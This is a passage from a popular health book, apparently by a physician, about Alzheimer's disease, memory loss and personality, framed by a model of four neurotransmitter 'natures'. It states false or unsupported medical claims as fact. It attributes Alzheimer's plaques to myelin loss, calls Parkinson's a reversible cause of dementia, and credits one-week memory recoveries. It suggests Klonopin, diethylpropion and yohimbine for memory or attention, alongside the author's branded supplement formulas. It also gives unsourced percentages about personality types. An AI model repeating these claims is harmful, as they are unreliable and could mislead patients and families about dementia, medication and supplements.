All Alzheimer's patients experience deterioration of their myelin sheaths, which causes plaques, or clumps of damaged neuronal material, along the acetylcholine highway in the brain. This is the same problem that occurs with multiple sclerosis, except that with Alzheimer's the myelin sheaths are lost in the brain only, rather than in other parts of the peripheral nervous system. The most common causes of dementia are hypertension, cigarette use, heart attack, diabetes, and high cholesterol. Cerebrovascular disease can cause ministrokes, which in turn cause considerable cognitive decline. Some individuals will have neurofibrillary tangles in the brain, or abnormally twisted protein fibers, a particular sign of Alzheimer's. Cognitive failure can be exacerbated by smoking. The most common reversible causes of change in mental state and Alzheimer's and other dementias are depression, a deficiency in vitamin B12, and Parkinson's disease.
Alzheimer's is the total loss of the Edge Effect. Both multiple sclerosis and Alzheimer's are typical conditions occurring from acetylcholine deficiencies. However, a loss in any of the other biochemicals will exacerbate the loss of acetylcholine, thereby contributing to this devastating disease. As I described earlier, a dopamine deficiency speeds up your acetylcholine highway and will eventually destroy it. Lack of GABA will lead to a lack of total brain stability, which will burn out the brain faster. A serotonin deficiency might cause a lack of sleep, which will also affect the acetylcholine highway. Therefore, all diseases of the brain and body, including the aging process, ultimately contribute to the development of dementia.
**WHEN MEMORY LOSS
IS NOT ALZHEIMER'S**
While true Alzheimer's disease occurs at an alarming rate, most patients who think they are getting Alzheimer's disease are mistaken. The onset of Alzheimer's is slow and frequently goes unnoticed. Ironically, it is anxious GABA-deficient people who will often suffer from changes in memory first, not Alzheimer's patients.
Paul was a forty-year-old man who came to see me with complaints that he was starting to experience the symptoms of Alzheimer's disease. Paul was stressed out, drinking too much coffee, working too many hours, smoking cigarettes, and generally trying to accomplish too much. He found himself unable to remember names or places and continually misplaced his keys.
Paul had a family history of Alzheimer's disease, and he tested positive for the early signs of andropause, or male menopause. His Braverman Nature Assessment showed that he did not have an acetylcholine deficiency but was very low in GABA. When we gave him the Braverman Memory Test, he tested positive for attention deficit, yet his working memory was intact. His main problems proved to be his anxiety and nervousness—the fear of getting Alzheimer's, rather than actually having it.
Paul's anxiety functioned as a siren announcing that something was wrong with his biochemical balance. He did not have classic symptoms of Alzheimer's, but his brain was slowing down. Paul's anxiety was due to a GABA deficiency, exacerbated by his working extra hard at trying to hold himself together with lower hormone levels and slower brain function than were normal for him.
I didn't treat Paul for memory loss, because that wasn't his problem. Instead, I improved his hormonal profile. I explained the benefits of GABA- and serotonin-friendly nutrients and dietary changes. I treated his andropause, because testosterone loss is closely linked to Alzheimer's. By catching Paul's problem at an early stage I was able to reverse his symptoms, including memory loss. After just one week of treatment, his anxiety abated and his memory was restored.
**TREATING ALZHEIMER'S
AND BOOSTING YOUR MEMORY
WITH THE FOUR NATURES**
Alzheimer's disease does not have to be life's worst-case scenario. In many ways, the way we treat Alzheimer's is similar to the way we now treat heart disease. If you can catch cardiac problems in their early stages and reverse the damage, then you can prevent heart attacks and premature death. Similarly, if you are in touch with your nature, you can recognize the early signs of memory loss before they lead to serious cognitive deterioration. I have seen many patients experience a complete reversal of memory loss when it is diagnosed and treated early.
The same treatments that I use to restore or enhance the various natures also reverse memory loss: medication, hormones, diet and nutritional supplements, exercise, lifestyle, environment, and electrical stimulation. Each of these treatment protocols is integrally linked to the four natures, because without treating brain chemical imbalances, there is no hope for anyone to improve their memory significantly. Dopamine stimulates working memory; acetylcholine helps to access memory and is responsible for speed and immediate memory function; GABA helps organize memory, particularly verbal memory; and serotonin helps with visual memory and perception.
**TREATING MEMORY DISORDERS
WITH MEDICATIONS**
The most serious cases of memory loss require the most powerful remedies: drugs such as donepezil (Aricept), rivastigmine (Exelon), memantine (Namenda), and tacrine (Cognex). However, these drugs are used only after the disease has progressed significantly; only then will they have any impact, at which time they can slow down the worsening of symptoms.
There is no reason to wait until you do poorly on the Braverman Memory Test or even the much simpler Mini Mental State Exam (MMSE) most physicians will use. If you catch minor imbalances early, treatment can be tailored to your nature. For example, there are other medications that seem to improve memory indirectly by working on enhancing the primary biochemicals. Diethylpropion (Tenuate) increases dopamine to give you mental energy; Klonopin increases GABA to ease anxiety, which helps you retain more information; and Zoloft is a serotonin medication that can help you to get a restful night's sleep in order to enhance cognitive recharging of the brain.
It is important to remember that drug therapy contributes only part of the edge. In order to experience a full recovery, you have to sharpen all along the edge by increasing your biochemicals through a multifaceted approach that includes nutrient supplements, hormones, and lifestyle changes. As always, medications should only be taken for the symptoms or conditions that they were initially prescribed for, and their use should always be monitored by a physician.
**TREATING MEMORY DISORDERS
WITH HORMONES**
Hormones associated with the memory function include human growth hormone, vasopressin, DHEA, and pregnenolone, as well as estrogen and testosterone. Hormone assessment and balancing should be included in a treatment plan for severe memory impairment.
Women can experience different types of memory problems than men due to the influence of estrogen, progesterone, and other hormones. Estrogen receptors are present in several regions of the brain involved in memory and attention, including the temporal and frontal lobes. These receptors activate processes beneficial to our ability to think. Estrogen deficits leading to cognitive issues can be differentiated from other conditions through careful review of your medication history and an exam. If in fact you are experiencing memory loss due to a lack of estrogen, a personalized hormonal regimen can be constructed for you. Just as with prescription medications, it is important to be under the watchful care of a physician while taking hormones.
**TREATING MEMORY DISORDERS WITH
DIET AND NUTRITIONAL SUPPLEMENTS**
No one needs to hear another reason to quit smoking, reduce alcohol consumption, and stay away from illegal drugs. However, put simply, if you want to preserve your mental faculties, you will do all three. Studies show that all of these habits contribute to cognitive decline. Even if advances in cloning, organ replacement, gene therapies, and nanotechnology extend the life of your body, you won't be able to enjoy the party if your brain is not functioning properly.
The biochemicals responsible for brain activity come from the foods we eat and the supplements we take. As we have discussed, memory function starts in the parietal lobes, where the neurotransmitter acetylcholine controls brain speed. Naturally enhancing acetylcholine levels when you feel that your memory is starting to fade is your first priority.
Natural supplements that are the precursors to the neurotransmitters can improve memory. Acetylcholine is synthesized by the body from choline, a B vitamin–like substance that comes from the fats in the foods we eat. However, because the digestive system is inefficient and our diet isn't always perfect, it is a good idea to supplement choline for preserving memory function. Natural formulations containing choline, in any of its many forms, along with other ingredients that support its circulation to and absorption by the brain, are a vital part of a healthy diet. Blood-flow enhancers such as quercetin and D, L-phenylalanine and herbs such as huperzine-A, _Rhodiola rosea,_ and ginkgo have improved memory and focus in Alzheimer's patients. Supplements such as Cognitex, ProCog, and my Brain Youth and Brain Memory formulas are also vital to memory and cognitive functions.
The following lists of nutrients are nature-specific, and you'll see below which of the memory functions they can restore or enhance:
DOPAMINE-BOOSTING NUTRIENTS THAT IMPROVE WORKING MEMORY
• Tyrosine (used by the brain to produce dopamine and norepinephrine, has been shown to increase concentration and decrease symptoms of anxiety and depression; best used in conjunction with vitamin B6)
• Phenylalanine (used in the manufacturing of dopamine and norepinephrine; improves learning and memory)
• L-dopa (a precursor to dopamine)
• Thiamine (a B vitamin that has a dopamine-augmenting effect)
• Chromium (a trace element that has a dopamine-augmenting effect)
• Yohimbine (an herb that has dopamine and acetylcholine effects on the brain)
ACETYLCHOLINE-BOOSTING NUTRIENTS THAT IMPROVE IMMEDIATE
MEMORY AND FOCUSING
• Choline (a precursor to acetylcholine)
• Manganese (helps synthesize acetyl-carnitine)
• Acetyl-carnitine (raises acetylcholine levels in the brain)
• Phosphatidylserine (a natural preservative of acetylcholine)
• Huperzine-A (preserves choline)
• Lipoic acid (prevents breakdown of all membranes)
GABA-BOOSTING NUTRIENTS THAT IMPROVE VERBAL MEMORY AND
ANXIETY-BASED ATTENTION FAILURE
• Inositol (a B vitamin that helps build GABA levels)
• Taurine (assists with GABA production)
• GABA Pentin (a modified amino acid that helps build GABA; also sold in drug form as gabapentin)
• B vitamins
• Kava
• Branched-chain amino acids (block dopamine and switch energy into physical action)
SEROTONIN-BOOSTING NUTRIENTS THAT IMPROVE VISUAL MEMORY
AND REACTION TIME
• Tryptophan
• Vitamin B6
• Melatonin
• St. John's wort
• Fish oils
OTHER NUTRIENTS TO CONSIDER
• D, L-methionine (part of the lipotropic group of amino acids; helps remove heavy metals, which are thought to cause cognitive decline, from the body)
• Pyridoxine (vitamin B6; helps increase serotonin levels)
• Zinc (helps build the immune system; found to be deficient in children with mental retardation)
• DMAE (opens neural pathways in the brain; once it crosses the blood-brain barrier, it converts to choline)
• Pycnogenol (the brand name for pine bark extract; a powerful antioxidant that strengthens capillaries in the brain and consumes free radicals)
• Niacin (opens blood vessels and improves blood flow to brain)
• Garlic (like niacin, opens blood vessels and improves blood flow to brain)
**EXERCISES TO IMPROVE MEMORY**
If you don't utilize your brain's cognitive capacities, they will weaken and you will lose them. While it is true that thinking and memory will dull somewhat with age, it has recently been discovered that the adult brain can generate new cells well into old age. This means that we are capable of improving our attention and memory at any point in our lives. Across the country, performance scores on memory and attention tests are lower than they should be. Most of us don't reach our full potential due to brain-chemical imbalances and poor physical health. While some of these limitations are genetic in origin, there is plenty of room for improvement through exercise.
The more we use our mental faculties, the stronger they will be, much like a weight lifter uses curls to build up her biceps. Similarly, you can do exercises to build up your brain. None of the recommendations that follow will reverse a severe case of cognitive decline, but they are the first line of defense against memory loss, and it's never too early to apply them. It's important to note, however, that you cannot do a single bicep curl and expect to build big muscles, and the same is true of brain exercises. Only by repeating these exercises will you make progress strengthening your memory. Ideally, you should exercise the brain as much as fifty hours a month, which translates roughly to twelve hours a week, or less than two hours a day.
First, physical exercise plays an important role in mental acuity. Not only does it promote general health, which minimizes contributing factors to memory loss, but maintaining a healthy cardiovascular system ensures proper blood flow to the brain, supplying it with the raw ingredients it needs to function properly.
Most people want to improve one of the four types of memory described earlier. Study your Braverman Memory Test in detail. The low scores tell you what you need to work on. Then select exercises that are designed specifically for those areas.
To improve working memory, try your hand at memorizing names, addresses, and telephone numbers in local phone books, doing a few pages at a time. You can build your attention skills by asking a friend to recite strings of numbers and letters to you, with you repeating them back in the exact order. Crossword puzzles, brain teasers, and trivia games all flex your mental muscles.
The Braverman Memory Test itself can be used as a memory exercise. If you performed poorly on the story exercises, have someone read you a passage from another story and try to recite back the details. This will help improve your working memory as well as your verbal memory. Another exercise that might help improve your visual as well as verbal memory consists of reading the newspaper and then writing down the answers to the who, what, when, where, why, and how questions. You can pick your own stories and test yourself. Just remember to use material you have not read before. Try to recall as much as you possibly can. Drawing a design from memory is another way to check and strengthen visual memory.
**TREATING MEMORY DISORDERS
WITH MUSIC**
Music relaxes the brain so that you can listen better. Using music to relax increases your GABA and synchronizes the left and right hemispheres. Researchers tested the benefits of music on dementia patients by employing different background noise scenarios—quiet, cafeteria noise, music—while asking them questions that would force them to concentrate deeply. The scientists found that the music playing in the background while these questions were asked significantly improved the patients' recall ability. Singing or playing an instrument yourself is an active way in which you can increase GABA.
**TREATING MEMORY DISORDERS WITH CES**
For general memory improvement, the CES device becomes an important tool, because it boosts all of the neurotransmitters. I've mentioned earlier in this chapter that memory loss is closely linked to anxiety, so it makes sense that when patients use CES to reduce anxiety, memory and cognition will also improve.
**ATTENTION**
Attention is a cognitive state associated with working memory. It is defined as withdrawing from some tasks in order to deal effectively with others. Long-term memory is extremely dependent on attention, and attention failure is frequently a sign of Alzheimer's disease and the collapse of memory.
The human brain has limited resources: if we pay attention in one area, attention to other areas may decrease. And without attention, memory storage is impossible. Attention plays a role in organizing material that can influence its later recall.
Improving attention depends upon the electrical status of the four natures, adjusting those natures, and eliminating emotional interference. In order to maximize our attention, we must maximize our nature. While memory is all about acetylcholine, attention is all about dopamine. When dopamine burns out, a person is unable to stay focused. You can improve attention skills with various dopamine-boosting supplements and techniques, including cortisol, your own version of my dopamine Brain Energy formula, and playing computerized games to improve brain speed.
Pam, a thirty-two-year-old overweight editor, came to PATH complaining that she was always exhausted, couldn't concentrate, and had severe attention problems. She also admitted that she was addicted to prescription medications that she'd begun taking for a painful chronic sports injury. She was deeply dedicated to her work, and the state of her health was affecting her ability to function in the office.
I put Pam on a program that balanced her dopamine nature, including a regimen consisting of dietary, hormonal, behavioral, and pharmaceutical elements. Pam also began using the CES device every night for one hour. Three months later, she was totally off all pain medications and had lost weight. Not only has she noticed a dramatic increase in general energy and concentration, but Pam is back to working at top speed in the office.
**MEETING YOUR OWN MEMORY NEEDS**
There are numerous studies of memory prodigies, such as the famous Russian mnemonists (memory artists), idiot savants, and others able to demonstrate perfect, photographic memory. Some people with a penchant for mathematics can perform lightning calculations, others demonstrate incredible auditory memory for music and speeches, and still others have the ability to memorize and recite reams of poetry.
While these remarkable powers are intriguing, there is not much call for this type of memory in our daily living. These skills do not necessarily enhance attention, intelligence, or the overall health of any human being. It is more important to have a well-rounded memory that suits each of our individualized needs. For example, a therapist requires great immediate memory. Working memory and concentration would be considered a strength for a writer or a doctor. Visual memory is useful for a movie director, and strong immediate memory suits an individual who is involved in sales. In this new electronic age, we will all be required to increase our brain speed in order to process the masses of information available to us. Those who reach and maintain the Edge Effect will be the ones to thrive in this increasingly demanding society.
BENDING YOUR PERSONALITY: EXPERIENCING THE FULL EDGE EFFECT
WHEN IT COMES to your personality, feeling great within your nature is common and comfortable, but you aren't experiencing the full Edge Effect. Even if you are peaking within your own nature, sooner or later you will find yourself vulnerable to certain crises or health problems. For example, if you are highly extroverted, you may find yourself in a dopamine zone, yet you will have diminished your ability to remain calm. If you let extroversion go too far, you will lose sleep, the brain will not be able to resynchronize, and a host of mental and physical illnesses can result. In order to sleep better, an extrovert might want to suppress his intensity by using the nature programs for GABA and serotonin.
As you've learned, only when the brain hits all four peaks of biochemical control will you reach the full Edge Effect and be able to truly rule your physical health. To reach this state, you have to balance your deficiencies and enhance your nature using the suggestions in the nature chapters. Look at your lowest scores from the Braverman Nature Assessment: those are your deficiencies, or weakest points. Those directly opposite your nature are the ones you need to build up first. For example, high dopamine and acetylcholine natures need to find balance by enhancing their GABA and serotonin. The opposite is true as well: high GABA and serotonin natures will find balance by enhancing their dopamine and acetylcholine. Then you can take control over the remaining minor natures and develop them as well.
The full Edge Effect puts you in a position to choose when to use each of the biochemicals in order to bend your brain to where you need to be at any specific point in life. Another example involves controlling your acetylcholine intuitiveness. Too much consciousness is not always a good thing. Sometimes you need to emphasize common sense, enhance the ability to form relationships, and live within the confines of reality. In these cases, this nature would need to suppress acetylcholine in order to build up the other biochemicals to emphasize extroversion and more practicality. By following the lessons outlined in this chapter, you will be able to control your personality through biochemistry.
**MODIFYING NEGATIVE ASPECTS
OF YOUR NATURE**
The way you see yourself and the way others see you may vary widely, yet there may be more than a grain of truth in both viewpoints. Here are some ways in which your nature may be perceived by others versus how you may perceive yourself. When you compare the two, you may see why others have difficulties with you, and appreciate what you need to modify to gain a more balanced personality.
**DOPAMINE NATURE**
HOW PEOPLE VIEW THEMSELVES| HOW OTHERS MAY VIEW THEM
---|---
Able to rely on valid intuition| Acts on crazy hunches
Able to understand and explain complex theories| Comes up with useless ideas
Calm, not overly emotional| Aloof, distant, lacking warmth, unfeeling
Correct a high percentage of the time| Critical, faultfinding
Efficient| Doesn't care about people
Firm-minded, able to reprimand or fire if necessary| Arrogant
Objective| Heavily defended, unable to open up
Original, unique| Weird, eccentric, poor dresser
**DOPAMINE NATURE**
HOW PEOPLE VIEW THEMSELVES| HOW OTHERS MAY VIEW THEM
---|---
Powerful| Ruthless
Rational| Too abstract
Task- or goal-oriented| Unappreciative, stingy with praise for a job well done
Under control| Unrealistic
**ACETYLCHOLINE NATURE**
HOW PEOPLE VIEW THEMSELVES| HOW OTHERS MAY VIEW THEM
---|---
Affirming| A pushover
Caring, compassionate| Bleeding heart
Creative| Flaky, unrealistic
Empathetic| Groveling, fawning, obsequious
Expressive, expansive| Hopelessly naive
Idealistic| Illogical
Keeper of relationships, often the caretaker | Not businesslike
People person| Overemotional
Romantic| Slick, too smooth, manipulative
Social interaction expert| Smothering
Spiritual| Stuck in the past
Trusting| Too nice, Goody Two-shoes
Unselfish| Too talkative
**GABA NATURE**
HOW PEOPLE VIEW THEMSELVES| HOW OTHERS MAY VIEW THEM
---|---
Decisive| Always trying to set the agenda
Dependable| Blind to new opportunities
Executive type| Bossy, controlling
Goal-oriented| Drudge
Good at a sorting, weeding out, and discarding | Dull
Hard worker| Frustratingly difficult to work with
Not wasting time with impossible schemes| Judgmental
Orderly, neat| Nitpicking
Practical| Sees only the obvious
Precise| Predictable
Punctual| Uncreative
Realistic| Uptight
**SEROTONIN NATURE**
HOW PEOPLE VIEW THEMSELVES| HOW OTHERS MAY VIEW THEM
---|---
Able to do more than one thing at a time| Indecisive
Can deal with chaos| Unable to stick to the task at hand
Curious, welcoming new information| Resisting closure or decision
Electric| Scattered, cluttered, unfocused
Flexible, adaptable to changing circumstances| Uncontrollable, unpredictable, creating chaos
Superior ability to weigh options| Wishy-wash
**TAKING ON QUALITIES
OF DIFFERENT NATURES**
There are always aspects of our temperaments that we are proud of. Often these high points are overshadowed by ways in which we find ourselves lacking. However, we can apply behavioral strategies to bring out the best in each of our less dominant natures. In this way we can learn to compensate for our personality weaknesses.
Beginning on the next page are lists of exercises or ideas to make each temperament more well rounded. I call these competencies, in the sense that we are trying to achieve these personality goals. By making these behavioral changes, you will naturally increase your minor nature levels. For example, if you are a dreamy serotonin nature, by following the suggestions listed here, you can actually raise your other biochemical levels so that you will have a more balanced personality. In effect, you will be bending your personality by changing your biochemistry.
**REACHING EXTROVERT COMPETENCE**
For an introvert to become more extroverted, you need to add a little variety to your life. When you are learning extroverted competence, you are learning how to turn on your dopamine. Dopamine is all about power: by enhancing your dopamine, you can become a more powerful personality.
• Get involved in a group or organization such as your children's PTA, take part in a church event, or volunteer your time to a nonprofit organization or city agency. By becoming active with others, you will increase your dopamine and your acetylcholine levels and train your brain to exert more dopamine and acetylcholine behaviors.
• Add a little variety to your life by working on a few things at one time, not giving too much time to any one thing. This will also raise your dopamine and your acetylcholine levels.
• Meet new people. Start conversations when you usually would not. Do not wait for someone else to initiate one. Making new acquaintances raises your dopamine and GABA levels.
• Try communicating a different way. Introverts tend to process ideas internally and then put them into words. Start a dialogue that will allow you not only to relate your ideas as you process them but to share your feelings as well. This type of communication is good for your dopamine and your acetylcholine levels.
**REACHING INTROVERT COMPETENCE**
For an extrovert to become a little more introverted, you need to work on focus, paying attention to others, and silence. When you do so, you are learning how to turn off dopamine and direct your energy inward. At the same time, you will be raising your other biochemical levels.
• Try working on one thing at a time. See if you can work alone, quietly, without interruptions, giving yourself the time and space to do so. This activity will raise your acetylcholine levels and decrease dopamine.
• Spend time with a close friend. Listen to what he or she has to say before you share your thoughts. Think before you speak: complete your thoughts before you share them. Take the time to observe facial expressions and body language. This will raise both acetylcholine and serotonin levels, and diminish dopamine dominance.
• Do not let stress get to you. If you cannot handle a situation at the moment, then get away from it. Give yourself some time alone, whether it be to reflect or just time to cool down, then come back and solve the problem. This will raise both GABA and serotonin levels and diminish dopamine dominance.
**BECOMING MORE SENSITIVE**
For an intuitive acetylcholine nature to become a little more present, you have to become more detail-oriented, know the facts, and live in the present. When you are learning sensing competence, you are learning how to turn on your serotonin levels. Serotonin controls the feeling side of life. When we release serotonin we feel things more intensely. This is how you achieve true empathy.
• Prepare a special meal for yourself and a friend. Cook a new dish. Make sure to follow the recipe step by step. This will lower your acetylcholine and increase your serotonin and GABA levels.
• When you have a decision to make, sit down with a paper and pencil and list all the pros and cons of each choice. Then review your list, eliminating any assumptions you may have made along the way, focusing only on the actual facts in order to make your decision. This will lower your acetylcholine and increase your GABA levels.
• Review the chanting meditation in Chapter 7 before you go to sleep. Take ten minutes to reboot your brain by following this meditation. See if you get a better night's sleep and feel more refreshed in the morning. Meditation will raise your serotonin levels.
**BECOMING MORE INTUITIVE**
For a sensing nature to become a little more intuitive, you have to be creative and see the bigger picture. When you are learning intuitive competence, you are learning how to turn on acetylcholine. Acetylcholine is all about awareness and creativity.
• Look around your home and see how your furnishings relate to your personality type. What does the décor say about you? This exercise raises acetylcholine.
• Think about what your life would be like if money was never an issue. You could do anything you wanted, whenever you wanted, with whomever you wanted. How would you live your life? This exercise raises both acetylcholine and dopamine levels.
• When you first walk into a room, take a quick glance and then close your eyes. Identify five small objects that are in the room, open your eyes, and find them. Then close your eyes again and try to identify five large objects that set the atmosphere of the room. This exercise raises acetylcholine and lowers GABA levels.
**INCREASING YOUR RATIONAL THINKING STYLE**
For the feeling to become a little more thought-directed, you have to know the facts, use logic, and prepare for consequences. When you are learning thinking competence, you are learning to turn on the power and logic of dopamine.
• When making an important decision, make it based on facts. Do not allow others to interfere with your decision as long as your decision is fair. This exercise raises both acetylcholine and dopamine levels.
• Try starting your sentences with "I know . . ." instead of "I feel . . ." Be able to back up your thoughts with facts. This exercise raises dopamine levels.
• Communicate critical comments when needed. Know that you are doing it not to hurt the individual but for his or her benefit. Be open and direct about it. This exercise raises both acetylcholine and dopamine levels.
•When problem solving, try looking at cause and effect. List all the possible outcomes and choose the one with the least negative outcomes. This exercise raises both acetylcholine and dopamine, and drops serotonin levels.
**INCREASING YOUR FEELING THINKING STYLE**
To become a little more feeling, you have to open up your heart. When you are learning feeling competence, you are learning how to turn on serotonin. Serotonin is all about feeling and pleasure.
• Listen, listen, and then listen a little more when people try to share their feelings with you. This exercise raises both acetylcholine and serotonin levels.
• If you can help someone, do so, even if it means that you miss out on something. This exercise raises both acetylcholine and serotonin levels.
• Do not be afraid of saying "I love you" to others, even if they do not say it in return. This exercise raises dopamine and decreases serotonin.
**JUDGING COMPETENCE**
For a perceiver to become a little more judging, you need to plan ahead. Prioritizing and completing things in life are essential to make a change. When you are learning judging competence, you are learning to turn on GABA. GABA is all about balance.
• Make a list of activities that need to be accomplished, and prioritize them over an entire week. Work your way down the list using the weekend as your deadline. This exercise raises dopamine and lowers serotonin levels.
• Make sure that the essentials such as laundry and grocery shopping are done. Also, getting ready in the morning can go a lot smoother if you plan ahead. This exercise raises GABA and lowers serotonin levels.
**PERCEIVING COMPETENCE**
For a judging individual to become a little more perceiving, you need to become more flexible by being a knowledgeable risk taker. When you are learning perceiving competence, you are learning how to turn off GABA.
• Know your facts before you try to help someone out. It may be the difference between really good advice and poor advice. This exercise lowers your GABA levels.
• Do something you normally would not do. Return to a sport or hobby that you did as a child that was a lot of fun. This exercise lowers your GABA levels while raising your acetylcholine levels.
• Go out on the town with no plans, knowing that you're going to have fun. You do not always have to have an evening planned. This exercise lowers your GABA levels while raising your acetylcholine levels.
**MANTRAS FOR THE NATURES**
Here are some inspiring messages to help you with the above exercises. Using these mantras in combination with the exercises can help you find a more balanced mental state. Make it a habit to repeat these to yourself right before you go to bed at night, when you wake up in the morning, and throughout the day whenever relevant problems arise.
**To Soften a Dopamine Nature**
Whenever someone is trying to share an idea with me, I will listen to what he or she has to say.
I will learn not just to work with others but to work as a team player.
Whenever rules and regulations are implemented, I will try to understand their significance and follow them.
Whenever there is a task to complete, I will focus on the details so that it is completed to the best of my ability.
**To Focus an Acetylcholine Nature**
I will learn to understand the meaning behind the phrase "No one is perfect."
I will complete all my tasks, even the ones I wish someone else were doing.
Whenever a task becomes dull, I will stay focused and get the job done.
Whenever someone is making me a promise, I will trust that person and take that person at his or her word.
**To Relax a GABA Nature**
When I start to get tense, I will look at the big picture instead of focusing on the details.
Whenever I feel pain about others not doing things the right way, I need to take a step back and let others try their best.
Only then will others see my good heart.
I must be patient when things do not go the way I expect them to.
**To Strengthen a Serotonin Nature**
I will try to have a little sensitivity toward others and not just think about myself.
I will assert my place in this world and ask for things that I need.
I have the strength to be responsible for my actions.
**OVERCOMING THE DARK SIDE**
The dark sides of our personalities are also driven by primary biochemicals. These aspects often occur as an excess or deficit in your particular nature. If you are experiencing any of the following negative personality traits and would like to do something in order to stop these behaviors, look to increase the biochemical that is most opposite to your nature.
Sometimes your dark side can work to your advantage. For example, it is normal to have loner tendencies as we grow older, due to hormonal loss that will create a dopamine deficiency. However, when our natures go out of whack, each strength of a personality becomes a weakness.
The following text lists each of the personality types and how these personalities can be bent through biochemistry. You can win the battle against your dark side by recognizing which biochemical needs to be enhanced and by following the treatment modalities listed in the nature chapters. Start by making small lifestyle and environment changes. You'll see results just by changing your diet and taking nutrient supplements. However, if you or others close to you feel that your behaviors are far from normal, you might need to seek psychiatric counseling.
Always keep in mind that that there are no pure personalities. We are all a mixture of many of these types. For example, at least 10 percent of all people have a little Loner in them, and 50 to 75 percent have traits of the Drama Queen. Most men (50 to 75 percent) are Self-Absorbed personalities, Rule Breakers, Dukes-Up types, or Perfectionists. Women, much more than men, usually have a Nurturing, sensitive streak. Between 5 and 10 percent of women have Abuse-Me personality components.
**THE LONER**
Normally this type is organized, neat, frugal, and no trouble to others. At its worst, it is as if this personality were born without feelings, incapable of experiencing strong emotions such as love, desire, joy, sadness, and rage. Loners talk and act with little animation, conveying a general monotony to the world. Given their natural remoteness, they prefer to be in the background, avoiding center stage until they reach their breaking point. In order to counteract this behavior, loners need to decrease their GABA and increase their dopamine so that they feel more assertive and have the confidence to get out into the world. Extreme loners have to be treated with dopamine stimulants.
**PAINFULLY SHY**
Normally this individual is sensitive to others, polite, caring, sweet, and sure not to offend anyone. At worst, this person is a walking social phobia: hesitant, distracted, edgy, vulnerable to any manner of criticism, and so morbidly afraid of being disliked that leading a lonely and empty life seems preferable. The painfully shy person sees himself as inadequate and inferior, which causes him to dismiss whatever success comes to him. He tends to live in the past and seek refuge in a fantasy world, where he can enjoy high self-esteem at will. In order to break this behavior, those who are painfully shy need to decrease their serotonin and increase their GABA, so that they can feel grounded in the real world. Painfully shy personalities frequently end up on serotonin-enhancing drugs such as Paxil, and anti-anxiety medications for their bashful natures.
**THE NURTURING TYPE**
Normally nurturers are caring, giving to others, needing others' approval, self-sacrificing, and passive decision makers who are tremendously involved in others' lives. At worst, these personalities spend their entire lives looking for love and opportunities to give care at the expense of being hurt when their own needs are not sufficiently met. They rely heavily on their mates and authority figures for advice—and can also fall into the trap of continuously craving and following the information of their peers. In order for nurturers to learn to let go of the responsibility of taking care of others, they need to decrease their GABA and increase dopamine. In this way they will begin to look out for themselves.
**THE DRAMA QUEEN**
Normally this type is a catalyst for creating change, growth, and development of self and others. At their worst they are theatrical to the max. Drama queens love and live for the big moment. They have a wild streak combined with a flirtatiousness that can often get them in hot water. This dark side can emerge in almost anyone during periods of high anxiety, when thinking confusion, trouble calculating, backaches, headaches, sweating, shaking, and palpitations will occur. If you are experiencing an intense need to be helped by others without helping yourself, you need to lower your dopamine levels and increase your GABA. Drama queens usually need leveling, so they often take anticonvulsants and other GABA-boosting agents.
**SELF-ABSORBED**
Normally this type is a high achiever. At worst, this personality profile is the epitome of the snob. Flouting conventional values as beneath them, they see themselves as entitled to make their own rules and let others be damned. Rationalization is part of the self-absorbed dark side. If you are feeling left behind by your friends or family, you might consider lowering your dopamine levels and increasing your serotonin.
Then take a good look at how you've been treating others lately.
**THE RULE BREAKER**
Iconoclasts do not follow the group. They are shrewd operators, able to work around the rules of any system. At worst, they tend to be impulsive and shortsighted, proceeding rashly without considering the consequences of a deed. Personally irresponsible, they are given to insulting, even abusive actions about which they feel little or no remorse or guilt. They are intolerant and scornful of others. To get back into the good graces of the rest of society, rule breakers need to learn how to conform and mellow out by decreasing their dopamine and increasing their GABA.
**DUKES-UP PERSONALITY**
Normally this profile is intense, entrepreneurial, ambitious, challenging, and overachieving. However, this personality lashes out at others at the drop of a hat and can be verbally and physically abusive. Their memories are virtually all negative, heavy with a sense of injustice and the firm belief that the world has given them a raw deal. It's very hard for this personality type to get along with others because of the enormous chip on their shoulder. If this description fits you, you might want to decrease your dopamine and increase your GABA in order to get some balance and a more rational perspective on life.
**THE PERFECTIONIST**
Perfectionists are normally hardworking, detail-oriented, devoted, and exacting, all positive traits. However, the need for perfection can interfere with decision making, since striving for the ideal in everything is simply not realistic. These people are classic, active workaholics who retain tight self-control at the expense of relaxation, enjoyment, and warmth. If you are growing tired of this overwhelming need to control, you can decrease your GABA and increase your acetylcholine. This will give you a fresh, creative approach to problem solving, including the opportunity to delegate. Perfectionist personalities can also find themselves on medication and are frequently referred to therapists.
**PROCRASTINATORS**
We all can identify with procrastinators. However, their dark side is anger mixed with an avoidance of direct confrontation. In order to face life's challenges headfirst, procrastinators need to lower their serotonin and increase their acetylcholine.
**THE ABUSE-ME PERSONALITY**
Normally this profile is completely self-sacrificing for themselves and for the group. At worst, they find it almost impossible to experience joy and pleasure. Generally shy and retiring, someone with an abuse-me personality is more comfortable in a losing situation than a winning one. Interestingly, the deepest-feeling people have the lowest self-esteem. They are permitting themselves to shut off their own identity completely. That results in actively seeking condemnation and failing to accept whatever praise or support is offered—and deserved. If you feel this way, you need to beef up your own self-image by decreasing your serotonin and increasing your GABA. Abuse-me personalities often have extreme dopamine deficiencies that require medication.
**ECCENTRICS**
Eccentrics usually keep to themselves. At worst, they exhibit odd, even bizarre behavior. These personalities feel normal in isolated situations and steer away from human interaction. They live in a dream world composed of magical behavior and wild visions, although outwardly they appear colorless and inexpressive. When even mildly stressed, they can easily become a danger to others and themselves. Eccentrics need to decrease their serotonin and increase their dopamine in order to function outside of their own fantasy world.
**THE UNSTABLE PERSONALITY**
People with an unstable personality lack balance in all areas of life. They tend to bounce between extremes—from loving someone to hating him at the drop of a hat, from happiness to rage, and from being exercise fanatics to becoming bingers and substance abusers. They tend to neglect themselves and can never escape feelings of emptiness, which may be because of their ever-changing goals, friends, extracurricular activities, and values. Unstable personalities usually require significant psychiatric medications that will lower their dopamine levels while increasing their GABA.
**THE SUSPICIOUS PERSONALITY**
Suspicious personalities are hypervigilant. They are consummately skeptical, believing that everyone is out to get them. Rigid in ideology and reluctant to put trust in others, they tend to be loners, keeping their own skewed counsel at the cost of personal happiness. If your suspicious nature is taking over your life to the point where you are constantly worrying about those around you, consider lowering your dopamine and increasing your serotonin level.
**EVERYBODY GETS ANXIOUS**
